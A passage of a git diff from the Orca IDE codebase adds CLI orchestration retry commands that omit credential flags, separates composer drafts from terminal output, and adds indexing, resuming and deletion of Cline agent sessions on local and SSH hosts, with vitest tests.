+  }
+  if (env.ORCA_DEV_REPO_ROOT) {
+    return 'orca-dev'
+  }
+  return platform === 'linux' ? 'orca-ide' : 'orca'
+}
+
+export function buildOrchestrationRecoveryCommand(
+  method: string,
+  params: unknown,
+  executable?: string,
+  originalArgs?: readonly string[]
+): string[] | undefined
+export function buildOrchestrationRecoveryCommand(
+  executable: string,
+  method: string,
+  params: unknown,
+  originalArgs?: readonly string[]
+): string[] | undefined
+export function buildOrchestrationRecoveryCommand(
+  methodOrExecutable: string,
+  paramsOrMethod: unknown,
+  executableOrParams?: unknown,
+  originalArgs?: readonly string[]
+): string[] | undefined {
+  const legacyOrder = typeof paramsOrMethod === 'string' && executableOrParams !== undefined
+  const method = (legacyOrder ? paramsOrMethod : methodOrExecutable) as string
+  const params = legacyOrder ? executableOrParams : paramsOrMethod
+  const executable = legacyOrder
+    ? methodOrExecutable
+    : typeof executableOrParams === 'string'
+      ? executableOrParams
+      : resolveOrchestrationCliExecutable()
+  if (originalArgs && originalArgs.length > 0) {
+    const recoverableArgs = recoverableOrchestrationArgs(originalArgs)
+    return recoverableArgs ? [executable, ...recoverableArgs] : undefined
+  }
+  const command =
+    method === 'orchestration.workerStart'
+      ? 'worker-start'
+      : method === 'orchestration.workerStop'
+        ? 'worker-stop'
+        : method === 'orchestration.workerAbandon'
+          ? 'worker-abandon'
+          : method === 'orchestration.workerRelease'
+            ? 'worker-release'
+            : method === 'orchestration.workerRetain'
+              ? 'worker-retain'
+              : undefined
+  if (!command || params === null || typeof params !== 'object') {
+    return undefined
+  }
+  const record = params as Record<string, unknown>
+  const requiredKey = command === 'worker-start' ? 'task' : 'dispatch'
+  if (typeof record[requiredKey] !== 'string' || record[requiredKey].length === 0) {
+    return undefined
+  }
+  const args = [executable, 'orchestration', command]
+  for (const [key, value] of Object.entries(record)) {
+    if (value === undefined || value === null || value === false) {
+      continue
+    }
+    const flag = `--${key.replace(/[A-Z]/g, (letter) => `-${letter.toLowerCase()}`)}`
+    if (value === true) {
+      args.push(flag)
+    } else if (typeof value === 'string' || typeof value === 'number') {
+      args.push(flag, String(value))
+    }
+  }
+  return args
+}
+
+export function recoverableOrchestrationArgs(args: readonly string[]): string[] | undefined {
+  const containsCredential = args.some((arg) =>
+    ['--pairing-code', '--dispatch-capability'].some(
+      (flag) => arg === flag || arg.startsWith(`${flag}=`)
+    )
+  )
+  if (containsCredential) {
+    return undefined
+  }
+  const result: string[] = []
+  for (let index = 0; index < args.length; index += 1) {
+    const arg = args[index]
+    if (arg === '--retry-request') {
+      index += 1
+      continue
+    }
+    if (arg.startsWith('--retry-request=')) {
+      continue
+    }
+    result.push(arg)
+  }
+  return result
+}
diff --git a/src/cli/runtime/websocket-transport-error.test.ts b/src/cli/runtime/websocket-transport-error.test.ts
new file mode 100644
index 00000000000..ab3df967f03
--- /dev/null
+++ b/src/cli/runtime/websocket-transport-error.test.ts
@@ -0,0 +1,101 @@
+import { describe, expect, it, vi } from 'vitest'
+import { RemoteRuntimeClientError } from '../../shared/remote-runtime-client-error'
+import { orchestrationMutationRecoveryError } from '../orchestration-mutation-recovery'
+
+const { sendRemoteRuntimeRequest, sendRemoteRuntimeRequestWithStatusPreflight } = vi.hoisted(
+  () => ({
+    sendRemoteRuntimeRequest: vi.fn(),
+    sendRemoteRuntimeRequestWithStatusPreflight: vi.fn()
+  })
+)
+
+vi.mock('../../shared/remote-runtime-client', () => ({
+  RemoteRuntimeClientError,
+  sendRemoteRuntimeRequest,
+  sendRemoteRuntimeRequestWithStatusPreflight
+}))
+
+import {
+  sendWebSocketRequest,
+  sendWebSocketRequestWithStatusPreflight
+} from './websocket-transport'
+
+const pairing = {
+  v: 2,
+  endpoint: 'ws://127.0.0.1:1',
+  deviceToken: 'token',
+  publicKeyB64: 'key'
+} as never
+
+describe('CLI WebSocket transport error identity', () => {
+  it('preserves recovery data from one-shot transport errors', async () => {
+    sendRemoteRuntimeRequest.mockRejectedValueOnce(
+      new RemoteRuntimeClientError('runtime_timeout', 'timed out', {
+        data: {
+          orchestrationRequestId: 'request_1',
+          dispatchId: 'dispatch_1',
+          originalCommand: ['orca', 'orchestration', 'worker-start', '--task', 'task_1']
+        }
+      })
+    )
+
+    try {
+      await sendWebSocketRequest(pairing, 'orchestration.workerStart', {}, 100)
+      throw new Error('expected transport failure')
+    } catch (error) {
+      expect(error).toMatchObject({
+        code: 'runtime_timeout',
+        data: {
+          orchestrationRequestId: 'request_1',
+          dispatchId: 'dispatch_1',
+          originalCommand: ['orca', 'orchestration', 'worker-start', '--task', 'task_1']
+        }
+      })
+      expect(orchestrationMutationRecoveryError(error)).toMatchObject({
+        data: {
+          recovery: {
+            dispatchId: 'dispatch_1',
+            queryCommand: [
+              'orca',
+              'orchestration',
+              'worker-show',
+              '--dispatch',
+              'dispatch_1',
+              '--json'
+            ],
+            retryCommand: [
+              'orca',
+              'orchestration',
+              'worker-start',
+              '--task',
+              'task_1',
+              '--retry-request',
+              'request_1'
+            ]
+          }
+        }
+      })
+    }
+  })
+
+  it('preserves recovery data through status-preflight transport errors', async () => {
+    sendRemoteRuntimeRequestWithStatusPreflight.mockRejectedValueOnce(
+      new RemoteRuntimeClientError('runtime_timeout', 'timed out', {
+        data: { orchestrationRequestId: 'request_2' }
+      })
+    )
+
+    await expect(
+      sendWebSocketRequestWithStatusPreflight(
+        pairing,
+        'orchestration.workerStart',
+        {},
+        100,
+        () => {}
+      )
+    ).rejects.toMatchObject({
+      code: 'runtime_timeout',
+      data: { orchestrationRequestId: 'request_2' }
+    })
+  })
+})
diff --git a/src/cli/runtime/websocket-transport.ts b/src/cli/runtime/websocket-transport.ts
index d71c1cbd671..8c7696d9f7d 100644
--- a/src/cli/runtime/websocket-transport.ts
+++ b/src/cli/runtime/websocket-transport.ts
@@ -19,7 +19,7 @@ export async function sendWebSocketRequest<TResult>(
     return await sendRemoteRuntimeRequest<TResult>(pairing, method, params, timeoutMs, envelope)
   } catch (error) {
     if (error instanceof RemoteRuntimeClientError) {
-      throw new RuntimeClientError(error.code, error.message)
+      throw new RuntimeClientError(error.code, error.message, error.data)
     }
     throw error
   }
@@ -44,7 +44,7 @@ export async function sendWebSocketRequestWithStatusPreflight<TResult>(
     )
   } catch (error) {
     if (error instanceof RemoteRuntimeClientError) {
-      throw new RuntimeClientError(error.code, error.message)
+      throw new RuntimeClientError(error.code, error.message, error.data)
     }
     throw error
   }
diff --git a/src/cli/selectors.ts b/src/cli/selectors.ts
index aef583ad0ac..cfc2dd68749 100644
--- a/src/cli/selectors.ts
+++ b/src/cli/selectors.ts
@@ -39,7 +39,7 @@ function assertLocalCwdWorktreeSelector(selector: string, client: RuntimeClient)
   // server, so cwd-derived worktree selectors are only valid locally.
   throw new RuntimeClientError(
     'invalid_argument',
-    `${selector} is a local cwd shortcut and cannot be resolved against a remote runtime. Pass an explicit server-side worktree selector such as id:<repo-id>::<path>, name:<displayName>, branch:<branch>, issue:<number>, or path:<absolute-server-path>.`
+    `${selector} is a local cwd shortcut and cannot be resolved against a remote runtime. Pass an explicit server-side worktree selector such as identity:<identity>, id:<repo-id>::<path>, name:<displayName>, branch:<branch>, issue:<number>, or path:<absolute-server-path>.`
   )
 }
 
diff --git a/src/cli/specs/core.ts b/src/cli/specs/core.ts
index d4422943f67..aaf94bb0d64 100644
--- a/src/cli/specs/core.ts
+++ b/src/cli/specs/core.ts
@@ -208,6 +208,7 @@ export const CORE_COMMAND_SPECS: CommandSpec[] = [
       'By default this returns accumulated terminal output with escape sequences stripped, not the rendered screen. Any program that repaints a line — shells, progress bars, TUIs — comes back as stacked fragments, so one `clear` keystroke by keystroke reads as `cclclecleaclear`, and spaces a prompt draws by moving the cursor are absent.',
       'Use --screen to read what the terminal actually renders. Prefer it whenever the answer depends on how output looks rather than what was emitted over time; the default is unsuitable for verifying rendered output.',
       'The result reports source: stream when it is accumulated output, screen when it is the rendered screen, and screen-unavailable when a screen was asked for but none could be rendered and the accumulated output is being returned instead. An absent source means the host predates the field.',
+      'When present, draft is UI-only composer text excluded from tail; never treat it as terminal output or a submitted instruction.',
       '--screen and --cursor are mutually exclusive: a screen read is the current frame and has no history to page.',
       'Use --cursor with the nextCursor value from a previous read to get only new output since that read.',
       'Use --limit to request more retained lines for long agent responses; output reports oldestCursor when older lines were dropped.',
diff --git a/src/cli/terminal-format-draft.test.ts b/src/cli/terminal-format-draft.test.ts
new file mode 100644
index 00000000000..3f38e48dd21
--- /dev/null
+++ b/src/cli/terminal-format-draft.test.ts
@@ -0,0 +1,21 @@
+import { describe, expect, it } from 'vitest'
+import { formatTerminalRead } from './terminal-format'
+
+describe('formatTerminalRead draft separation', () => {
+  it('labels composer drafts outside terminal output', () => {
+    const output = formatTerminalRead({
+      terminal: {
+        handle: 'term_1',
+        status: 'running',
+        tail: ['Build passed', '❯'],
+        truncated: false,
+        nextCursor: null,
+        source: 'screen',
+        draft: 'proceed with the release'
+      }
+    })
+
+    expect(output).toContain('draft: "proceed with the release"')
+    expect(output).toContain('\n\nBuild passed\n❯')
+  })
+})
diff --git a/src/cli/terminal-format.ts b/src/cli/terminal-format.ts
index 806a39cb588..4d57e7693a1 100644
--- a/src/cli/terminal-format.ts
+++ b/src/cli/terminal-format.ts
@@ -141,6 +141,7 @@ export function formatTerminalRead(result: { terminal: RuntimeTerminalRead }): s
     `handle: ${terminal.handle}`,
     `status: ${terminal.status}`,
     ...(terminal.source ? [`source: ${terminal.source}`] : []),
+    ...(terminal.draft ? [`draft: ${JSON.stringify(terminal.draft)}`] : []),
     ...(terminal.nextCursor !== null ? [`cursor: ${terminal.nextCursor}`] : []),
     ...oldestCursor,
     ...latestCursor,
diff --git a/src/main/ai-vault/remote-session-scanner-cline-source.ts b/src/main/ai-vault/remote-session-scanner-cline-source.ts
new file mode 100644
index 00000000000..f2f79089f9a
--- /dev/null
+++ b/src/main/ai-vault/remote-session-scanner-cline-source.ts
@@ -0,0 +1,42 @@
+import type { RemoteHostPlatform } from '../ssh/ssh-remote-platform'
+import { joinRemotePath } from '../ssh/ssh-remote-platform'
+import { throwIfAiVaultScanCancelled } from './ai-vault-scan-cancellation'
+import { isMissingRemoteSessionPathError } from './remote-session-file-stat'
+import type { RemoteSessionSource } from './remote-session-scanner-types'
+import {
+  clineMessagesPathForMetadata,
+  isClineSessionMetadataPath,
+  parseClineSessionContent
+} from './session-scanner-cline-parser'
+
+export function remoteClineSource(
+  remoteHome: string,
+  hostPlatform: RemoteHostPlatform
+): RemoteSessionSource {
+  return {
+    agent: 'cline',
+    rootDir: joinRemotePath(hostPlatform, remoteHome, '.cline', 'data', 'sessions'),
+    extensions: ['.json'],
+    filePredicate: isClineSessionMetadataPath,
+    contentDependencyPath: clineMessagesPathForMetadata,
+    directoryPredicate: (_name, depth) => depth === 0,
+    parse: async (file, content, context) => {
+      let messagesContent: string | null = null
+      try {
+        throwIfAiVaultScanCancelled(context.signal)
+        const read = await context.provider.readFile(clineMessagesPathForMetadata(file.path))
+        throwIfAiVaultScanCancelled(context.signal)
+        messagesContent = read.isBinary ? null : read.content
+      } catch (error) {
+        throwIfAiVaultScanCancelled(context.signal)
+        if (!isMissingRemoteSessionPathError(error)) {
+          throw error
+        }
+      }
+      return parseClineSessionContent(file, content, messagesContent, context.hostPlatform.os, {
+        executionHostId: context.executionHostId,
+        executionHostPlatform: context.hostPlatform.os
+      })
+    }
+  }
+}
diff --git a/src/main/ai-vault/remote-session-scanner-discovery.ts b/src/main/ai-vault/remote-session-scanner-discovery.ts
index 329bdb2e584..159bf049da6 100644
--- a/src/main/ai-vault/remote-session-scanner-discovery.ts
+++ b/src/main/ai-vault/remote-session-scanner-discovery.ts
@@ -29,18 +29,7 @@ export async function discoverRemoteSourceCandidates(args: {
   const files = await mapRemoteScanBatches(
     paths,
     REMOTE_DISCOVERY_CONCURRENCY,
-    (path) =>
-      statRemoteSessionFile(
-        args.context.provider,
-        path,
-        args.source.agent,
-        args.context.executionHostId,
-        args.issues,
-        {
-          missingIsExpected: Boolean(args.source.fixedChildFileSegments),
-          signal: args.context.signal
-        }
-      ),
+    (path) => statRemoteCandidateFile(path, args.source, args.context, args.issues),
     args.context.signal
   )
   return files
@@ -52,6 +41,46 @@ export async function discoverRemoteSourceCandidates(args: {
     }))
 }
 
+async function statRemoteCandidateFile(
+  path: string,
+  source: RemoteSessionSource,
+  context: RemoteScannerContext,
+  issues: AiVaultScanIssue[]
+): Promise<FileWithMtime | null> {
+  const file = await statRemoteSessionFile(
+    context.provider,
+    path,
+    source.agent,
+    context.executionHostId,
+    issues,
+    {
+      missingIsExpected: Boolean(source.fixedChildFileSegments),
+      signal: context.signal
+    }
+  )
+  if (!file || !source.contentDependencyPath) {
+    return file
+  }
+  const dependency = await statRemoteSessionFile(
+    context.provider,
+    source.contentDependencyPath(path),
+    source.agent,
+    context.executionHostId,
+    issues,
+    { missingIsExpected: true, signal: context.signal }
+  )
+  if (!dependency) {
+    return file
+  }
+  const mtimeMs = Math.max(file.mtimeMs, dependency.mtimeMs)
+  return {
+    ...file,
+    mtimeMs,
+    modifiedAt: new Date(mtimeMs).toISOString(),
+    sizeBytes: (file.sizeBytes ?? 0) + (dependency.sizeBytes ?? 0)
+  }
+}
+
 async function listRemoteFixedChildFiles(
   source: RemoteSessionSource,
   context: RemoteScannerContext,
diff --git a/src/main/ai-vault/remote-session-scanner-sources.ts b/src/main/ai-vault/remote-session-scanner-sources.ts
index 8bd9fdaf61d..1fd0ca30a61 100644
--- a/src/main/ai-vault/remote-session-scanner-sources.ts
+++ b/src/main/ai-vault/remote-session-scanner-sources.ts
@@ -17,6 +17,7 @@ import { partitionOmpSubagentTranscriptPaths } from './session-scanner-omp-subag
 import type { FileWithMtime } from './session-scanner-types'
 import { normalizeAgentSessionsDir } from './session-scanner-values'
 import { remoteCodexIndexTitles } from './remote-session-scanner-codex-index'
+import { remoteClineSource } from './remote-session-scanner-cline-source'
 import type {
   RemoteParserOptions,
   RemoteScannerContext,
@@ -77,6 +78,7 @@ export function remoteSessionSources(
       parseCursorSessionContent,
       (path) => remotePathSegments(path).includes('agent-transcripts')
     ),
+    remoteClineSource(remoteHome, hostPlatform),
     source(
       'hermes',
       remoteHome,
diff --git a/src/main/ai-vault/remote-session-scanner-types.ts b/src/main/ai-vault/remote-session-scanner-types.ts
index 8c9774abe14..405ea7f4626 100644
--- a/src/main/ai-vault/remote-session-scanner-types.ts
+++ b/src/main/ai-vault/remote-session-scanner-types.ts
@@ -33,6 +33,7 @@ export type RemoteSessionSource = {
   codexHome?: string
   extensions: readonly string[]
   filePredicate?: (path: string) => boolean
+  contentDependencyPath?: (path: string) => string
   // Depth 0 denotes a direct child of rootDir.
   directoryPredicate?: (name: string, depth: number) => boolean
   // A canonical file directly beneath every top-level session directory.
diff --git a/src/main/ai-vault/remote-session-scanner.test.ts b/src/main/ai-vault/remote-session-scanner.test.ts
index 7884fa9461d..c1c99bcbf12 100644
--- a/src/main/ai-vault/remote-session-scanner.test.ts
+++ b/src/main/ai-vault/remote-session-scanner.test.ts
@@ -5,6 +5,98 @@ import { MemoryRemoteProvider, jsonLines } from './remote-session-scanner-test-f
 import { primeAgentFixture } from './session-scanner-prime-agent-fixtures'
 
 describe('scanRemoteAiVaultSessions', () => {
+  it('indexes Cline manifests on the SSH-owned disk without messages-file phantoms', async () => {
+    const provider = new MemoryRemoteProvider()
+    const sessionId = '1786466194549_xrzrl'
+    const sessionDir = `/home/ada/.cline/data/sessions/${sessionId}`
+    provider.addFile(
+      `${sessionDir}/${sessionId}.json`,
+      JSON.stringify({
+        version: 1,
+        session_id: sessionId,
+        started_at: '2026-08-11T16:36:34.551Z',
+        provider: 'deepseek',
+        model: 'deepseek-v4-flash',
+        cwd: '/home/ada/repo'
+      }),
+      10
+    )
+    provider.addFile(
+      `${sessionDir}/${sessionId}.messages.json`,
+      JSON.stringify({
+        version: 1,
+        updated_at: '2026-08-11T16:38:00.000Z',
+        sessionId,
+        messages: [
+          {
+            role: 'user',
+            content: [{ type: 'text', text: 'Fix remote Cline history' }]
+          }
+        ]
+      }),
+      11
+    )
+
+    const result = await scanRemoteAiVaultSessions({
+      provider,
+      executionHostId: 'ssh:dev-box',
+      remoteHome: '/home/ada',
+      hostPlatform: getRemoteHostPlatform('linux-x64')
+    })
+
+    expect(result.issues).toEqual([])
+    expect(result.sessions).toHaveLength(1)
+    expect(result.sessions[0]).toMatchObject({
+      agent: 'cline',
+      sessionId,
+      title: 'Fix remote Cline history',
+      cwd: '/home/ada/repo',
+      executionHostId: 'ssh:dev-box',
+      executionHostPlatform: 'linux',
+      filePath: `${sessionDir}/${sessionId}.json`
+    })
+  })
+
+  it('indexes and resumes Cline sessions from a Windows SSH host', async () => {
+    const provider = new MemoryRemoteProvider()
+    const sessionId = '1786466194549_xrzrl'
+    const sessionDir = `C:/Users/Ada/.cline/data/sessions/${sessionId}`
+    provider.addFile(
+      `${sessionDir}/${sessionId}.json`,
+      JSON.stringify({
+        session_id: sessionId,
+        started_at: '2026-08-11T16:36:34.551Z',
+        cwd: 'C:/repo/app'
+      }),
+      10
+    )
+    provider.addFile(
+      `${sessionDir}/${sessionId}.messages.json`,
+      JSON.stringify({
+        updated_at: '2026-08-11T16:38:00.000Z',
+        messages: [{ role: 'user', content: [{ type: 'text', text: 'Fix Windows history' }] }]
+      }),
+      11
+    )
+
+    const result = await scanRemoteAiVaultSessions({
+      provider,
+      executionHostId: 'ssh:win-box',
+      remoteHome: 'C:/Users/Ada',
+      hostPlatform: getRemoteHostPlatform('win32-x64')
+    })
+
+    expect(result.issues).toEqual([])
+    expect(result.sessions).toHaveLength(1)
+    expect(result.sessions[0]).toMatchObject({
+      agent: 'cline',
+      sessionId,
+      executionHostPlatform: 'win32',
+      filePath: `${sessionDir}/${sessionId}.json`,
+      resumeCommand: `cmd /d /s /c "cd /d ""C:/repo/app"" && cline --id ""${sessionId}"""`
+    })
+  })
+
   it('parses remote default and Orca-managed Codex homes with SSH host ids', async () => {
     const provider = new MemoryRemoteProvider()
     provider.addFile(
diff --git a/src/main/ai-vault/session-delete-target.test.ts b/src/main/ai-vault/session-delete-target.test.ts
index 39c95f4f5f6..cf51fecdad9 100644
--- a/src/main/ai-vault/session-delete-target.test.ts
+++ b/src/main/ai-vault/session-delete-target.test.ts
@@ -19,6 +19,37 @@ const ROVO_ROOT = join(HOME, '.rovodev', 'sessions')
 const GROK_ROOT = join(HOME, '.grok', 'sessions')
 
 describe('validateAiVaultSessionDeleteTarget', () => {
+  it('allows a canonical Cline manifest and removes its whole session directory', () => {
+    const root = join('/tmp', 'cline-sessions')
+    const sessionId = '1786466194549_xrzrl'
+    const sessionDir = join(root, sessionId)
+    const result = validateAiVaultSessionDeleteTarget({
+      agent: 'cline',
+      filePath: join(sessionDir, `${sessionId}.json`),
+      executionHostId: 'local',
+      rootOptions: { clineSessionsDir: root }
+    })
+
+    expect(result).toMatchObject({
+      allowed: true,
+      agent: 'cline',
+      removals: [{ path: sessionDir, kind: 'directory' }]
+    })
+  })
+
+  it('rejects a Cline messages companion as an undiscoverable delete target', () => {
+    const root = join('/tmp', 'cline-sessions')
+    const sessionId = '1786466194549_xrzrl'
+    const result = validateAiVaultSessionDeleteTarget({
+      agent: 'cline',
+      filePath: join(root, sessionId, `${sessionId}.messages.json`),
+      executionHostId: 'local',
+      rootOptions: { clineSessionsDir: root }
+    })
+
+    expect(result).toEqual({ allowed: false, agent: 'cline', reason: 'undiscoverable-path' })
+  })
+
   it('allows a supported agent whose file resolves inside its known root', () => {
     const result = validateAiVaultSessionDeleteTarget({
       agent: 'gemini',
diff --git a/src/main/ai-vault/session-delete-target.ts b/src/main/ai-vault/session-delete-target.ts
index 11ef38039dc..13320ce39e9 100644
--- a/src/main/ai-vault/session-delete-target.ts
+++ b/src/main/ai-vault/session-delete-target.ts
@@ -21,7 +21,11 @@ import type { AiVaultScanOptions } from './session-scanner-types'
 // Agents whose session IS the directory holding the scanned file: everything
 // beside it belongs to the same session (rovo's session_context.json, grok's
 // chat_history.jsonl), so the directory is the only complete delete unit.
-const AI_VAULT_DIRECTORY_SHAPED_DELETE_AGENTS = new Set<AiVaultDeletableAgent>(['rovo', 'grok'])
+const AI_VAULT_DIRECTORY_SHAPED_DELETE_AGENTS = new Set<AiVaultDeletableAgent>([
+  'rovo',
+  'grok',
+  'cline'
+])
 
 export type ValidateAiVaultSessionDeleteTargetArgs = {
   agent: AiVaultAgent
diff --git a/src/main/ai-vault/session-scanner-agent-parser.ts b/src/main/ai-vault/session-scanner-agent-parser.ts
index 61554f663fe..83f23943241 100644
--- a/src/main/ai-vault/session-scanner-agent-parser.ts
+++ b/src/main/ai-vault/session-scanner-agent-parser.ts
@@ -2,6 +2,7 @@ import type { AiVaultSession } from '../../shared/ai-vault-types'
 import { parseDevinSessionFile } from './session-scanner-devin-parser'
 import { parseAntigravitySessionFile } from './session-scanner-antigravity-parser'
 import { parseDroidSessionFile } from './session-scanner-droid-parser'
+import { parseClineSessionFile } from './session-scanner-cline-parser'
 import { parseGrokSessionFile } from './session-scanner-grok-parser'
 import { parseMessageGraphSessionFile, parseRovoSessionFile } from './session-scanner-graph-parsers'
 import { parseKimiSessionFile } from './session-scanner-kimi-parser'
@@ -72,6 +73,8 @@ export async function parseAgentSessionFile(
       return parseMessageGraphSessionFile('prime-agent', candidate.file, platform)
     case 'droid':
       return parseDroidSessionFile(candidate.file, platform)
+    case 'cline':
+      return parseClineSessionFile(candidate.file, platform)
     case 'devin':
       return parseDevinSessionFile(candidate.file, platform)
     case 'kimi':
diff --git a/src/main/ai-vault/session-scanner-agent-sources.ts b/src/main/ai-vault/session-scanner-agent-sources.ts
index 803bf6a3f07..8b2e66ea5b0 100644
--- a/src/main/ai-vault/session-scanner-agent-sources.ts
+++ b/src/main/ai-vault/session-scanner-agent-sources.ts
@@ -4,6 +4,10 @@ import type { AiVaultAgent } from '../../shared/ai-vault-types'
 import type { AiVaultDeletableAgent } from '../../shared/ai-vault-session-deletion'
 import { resolveGrokSessionsDir } from '../../shared/grok-session-paths'
 import { uniqueCodexSessionsDirs } from './session-scanner-codex-paths'
+import {
+  clineMessagesPathForMetadata,
+  isClineSessionMetadataPath
+} from './session-scanner-cline-parser'
 import { resolveKimiSessionsDir } from './session-scanner-kimi-paths'
 import { OMP_SESSION_ARTIFACT_DIR_PATTERN } from './session-scanner-omp-subagent-transcripts'
 import { claudeProjectsRootDirs, OMP_SESSIONS_DIR, sessionRootDirs } from './session-scanner-roots'
@@ -40,6 +44,8 @@ const DEVIN_TRANSCRIPTS_DIR = join(
 )
 const DROID_SESSIONS_DIR = join(homedir(), '.factory', 'sessions')
 const DROID_PROJECTS_DIR = join(homedir(), '.factory', 'projects')
+const CLINE_SESSIONS_DIR =
+  process.env.CLINE_SESSION_DATA_DIR?.trim() || join(homedir(), '.cline', 'data', 'sessions')
 
 /**
  * Where one agent's session files live and which of them count as sessions.
@@ -55,6 +61,8 @@ export type AiVaultAgentSource = {
   rootDirs: (options: AiVaultScanOptions, wslHomeDirs: readonly string[]) => string[]
   extensions: readonly string[]
   filePredicate?: (filePath: string) => boolean
+  // A sibling whose stat participates in candidate freshness and recency.
+  contentDependencyPath?: (filePath: string) => string
   // Return false to skip a directory; depth 0 is a child of the root.
   directoryPredicate?: (name: string, depth: number) => boolean
   // Roots that are alternates for one install rather than distinct locations,
@@ -221,6 +229,19 @@ export const AI_VAULT_AGENT_SOURCES: AiVaultAgentSourceTable = {
     ],
     extensions: ['.jsonl']
   },
+  cline: {
+    rootDirs: (options, wslHomeDirs) =>
+      sessionRootDirs(options.clineSessionsDir ?? CLINE_SESSIONS_DIR, wslHomeDirs, [
+        '.cline',
+        'data',
+        'sessions'
+      ]),
+    extensions: ['.json'],
+    filePredicate: isClineSessionMetadataPath,
+    contentDependencyPath: clineMessagesPathForMetadata,
+    // Cline stores one manifest directly beneath each session directory.
+    directoryPredicate: (_name, depth) => depth === 0
+  },
   kimi: {
     rootDirs: (options, wslHomeDirs) =>
       sessionRootDirs(resolveKimiSessionsDir(options.kimiSessionsDir), wslHomeDirs, [
diff --git a/src/main/ai-vault/session-scanner-cline-parser.test.ts b/src/main/ai-vault/session-scanner-cline-parser.test.ts
new file mode 100644
index 00000000000..6d96bcb114f
--- /dev/null
+++ b/src/main/ai-vault/session-scanner-cline-parser.test.ts
@@ -0,0 +1,117 @@
+import { mkdtemp, mkdir, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it } from 'vitest'
+import { scanAiVaultSessions } from './session-scanner'
+import { isolatedScanRoots } from './session-scanner-test-fixtures'
+
+let tempRoots: string[] = []
+
+afterEach(async () => {
+  await Promise.all(tempRoots.map((root) => rm(root, { recursive: true, force: true })))
+  tempRoots = []
+})
+
+describe('Cline AI Vault sessions', () => {
+  it('indexes one manifest-backed session without surfacing its messages file as a phantom', async () => {
+    const root = await mkdtemp(join(tmpdir(), 'orca-ai-vault-cline-'))
+    tempRoots.push(root)
+    const roots = isolatedScanRoots(root)
+    const sessionId = '1786466194549_xrzrl'
+    const sessionDir = join(roots.clineSessionsDir, sessionId)
+    await mkdir(sessionDir, { recursive: true })
+    await writeFile(
+      join(sessionDir, `${sessionId}.json`),
+      JSON.stringify({
+        version: 1,
+        session_id: sessionId,
+        source: 'cli',
+        started_at: '2026-08-11T16:36:34.551Z',
+        status: 'idle',
+        interactive: true,
+        provider: 'deepseek',
+        model: 'deepseek-v4-flash',
+        cwd: '/repo/cline',
+        workspace_root: '/repo/cline'
+      })
+    )
+    await writeFile(
+      join(sessionDir, `${sessionId}.messages.json`),
+      JSON.stringify({
+        version: 1,
+        updated_at: '2026-08-11T16:38:00.000Z',
+        agent: 'lead',
+        sessionId,
+        messages: [
+          {
+            id: 'user-1',
+            role: 'user',
+            content: [{ type: 'text', text: 'Fix the Cline vault scanner' }]
+          },
+          {
+            id: 'assistant-1',
+            role: 'assistant',
+            content: [{ type: 'text', text: 'I will inspect the scanner.' }],
+            ts: 1_786_466_280_000,
+            modelInfo: { id: 'deepseek-v4-flash', provider: 'deepseek' }
+          }
+        ]
+      })
+    )
+
+    const result = await scanAiVaultSessions({ ...roots, platform: 'darwin' })
+
+    expect(result.issues).toEqual([])
+    expect(result.sessions.filter((session) => session.agent === 'cline')).toHaveLength(1)
+    expect(result.sessions.find((session) => session.agent === 'cline')).toMatchObject({
+      sessionId,
+      title: 'Fix the Cline vault scanner',
+      cwd: '/repo/cline',
+      model: 'deepseek-v4-flash',
+      messageCount: 2,
+      resumeCommand: `cd '/repo/cline' && cline --id '${sessionId}'`,
+      filePath: join(sessionDir, `${sessionId}.json`)
+    })
+
+    await writeFile(
+      join(sessionDir, `${sessionId}.messages.json`),
+      JSON.stringify({
+        version: 1,
+        updated_at: '2026-08-11T16:39:00.000Z',
+        sessionId,
+        messages: [
+          { role: 'user', content: [{ type: 'text', text: 'Fix the Cline vault scanner' }] },
+          { role: 'assistant', content: [{ type: 'text', text: 'I inspected the scanner.' }] },
+          { role: 'user', content: [{ type: 'text', text: 'Add the regression test too' }] }
+        ]
+      })
+    )
+
+    const rescanned = await scanAiVaultSessions({ ...roots, platform: 'darwin' })
+    expect(rescanned.sessions.find((session) => session.agent === 'cline')).toMatchObject({
+      messageCount: 3,
+      updatedAt: '2026-08-11T16:39:00.000Z'
+    })
+  })
+
+  it('only indexes manifests directly beneath a session directory', async () => {
+    const root = await mkdtemp(join(tmpdir(), 'orca-ai-vault-cline-nested-'))
+    tempRoots.push(root)
+    const roots = isolatedScanRoots(root)
+    const sessionId = 'direct-session'
+    const nestedId = 'nested-session'
+    await mkdir(join(roots.clineSessionsDir, sessionId), { recursive: true })
+    await mkdir(join(roots.clineSessionsDir, 'workspace', nestedId), { recursive: true })
+    const metadata = JSON.stringify({ session_id: sessionId, cwd: '/repo' })
+    await writeFile(join(roots.clineSessionsDir, sessionId, `${sessionId}.json`), metadata)
+    await writeFile(
+      join(roots.clineSessionsDir, 'workspace', nestedId, `${nestedId}.json`),
+      JSON.stringify({ session_id: nestedId, cwd: '/unexpected' })
+    )
+
+    const result = await scanAiVaultSessions({ ...roots, platform: 'darwin' })
+
+    expect(result.sessions.filter((session) => session.agent === 'cline')).toHaveLength(1)
+    expect(result.sessions.find((session) => session.agent === 'cline')?.sessionId).toBe(sessionId)
+  })
+})
diff --git a/src/main/ai-vault/session-scanner-cline-parser.ts b/src/main/ai-vault/session-scanner-cline-parser.ts
new file mode 100644
index 00000000000..21a21664205
--- /dev/null
+++ b/src/main/ai-vault/session-scanner-cline-parser.ts
@@ -0,0 +1,116 @@
+import { wslGatedReadFile } from '../native-chat/wsl-transcript-fs-access'
+import { WslTranscriptFsError } from '../native-chat/wsl-transcript-fs-gate'
+import type { AiVaultSession } from '../../shared/ai-vault-types'
+import type { ExecutionHostId } from '../../shared/execution-host'
+import {
+  addPreviewContent,
+  createAccumulator,
+  finalizeSession,
+  updateTimeline
+} from './session-scanner-accumulator'
+import type { FileWithMtime } from './session-scanner-types'
+import {
+  arrayValue,
+  asRecord,
+  extractContentText,
+  extractString,
+  normalizeTitleText
+} from './session-scanner-values'
+
+type ParserSessionOptions = {
+  executionHostId?: ExecutionHostId
+  executionHostPlatform?: NodeJS.Platform | null
+}
+
+export function isClineSessionMetadataPath(filePath: string): boolean {
+  const segments = filePath.replace(/\\/g, '/').split('/').filter(Boolean)
+  const fileName = segments.pop()
+  const sessionId = segments.pop()
+  return Boolean(fileName && sessionId && fileName === `${sessionId}.json`)
+}
+
+export function clineMessagesPathForMetadata(filePath: string): string {
+  return filePath.endsWith('.json') ? `${filePath.slice(0, -'.json'.length)}.messages.json` : ''
+}
+
